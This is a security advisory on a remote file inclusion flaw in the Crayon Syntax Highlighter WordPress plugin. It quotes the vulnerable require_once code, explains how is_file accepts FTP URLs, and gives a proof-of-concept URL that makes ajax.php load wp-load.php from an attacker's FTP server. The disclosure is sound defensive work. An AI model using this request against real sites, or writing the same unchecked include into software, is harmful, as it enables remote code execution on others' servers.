Advisory
Analysis of vulnerability
The Crayon Syntax highlighter implements a vulnerable RPC-like system for AJAX in /util/ajax.php and /util/preview.php. Both files share these 3 lines of code as being the first ones in both:
1 2 3 |
require_once('../crayon_wp.class.php'); crayon_die_if_not_php($_GET['wp_load'], 'wp-load'); require_once($_GET['wp_load']); |
So it apperas that at least it attempts to do some validation. Let us see how that is implemented in global.php(Included by crayon_wp.class.php):
187 188 189 190 191 192 193 194 195 196 197 198 |
// Checks if the input is a valid PHP file and matches the $valid filename function crayon_is_php_file($filepath, $valid) { $path_wp_load = pathinfo($filepath); return is_file($filepath) && $path_wp_load['extension'] === 'php' && $path_wp_load['filename'] === $valid; } // Stops the script if crayon_is_php_file() returns false function crayon_die_if_not_php($filepath, $valid) { if (!crayon_is_php_file($filepath, $valid)) { die("Incorrect arguments for '$valid'"); } } |
So it calls crayon_is_php_file which checks if the provided path is a file, the extension is “php” and the filename is what is expected, which in this case is wp-load.php. In theory, this should be safe if we assume that is_file only returns true for local file. However due to is_file also supporting FTP, we can get it to return true for a remote file on a FTP server! This means that if the server allows url includes, we can do a remote file include from a malicious FTP server hosting a wp-load.php file through an URL like this, either through ajax.php or preview.php:
http://192.168.80.130/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php
Note that this was introduced in 1.13 and fixed in 1.14 around 3 months ago.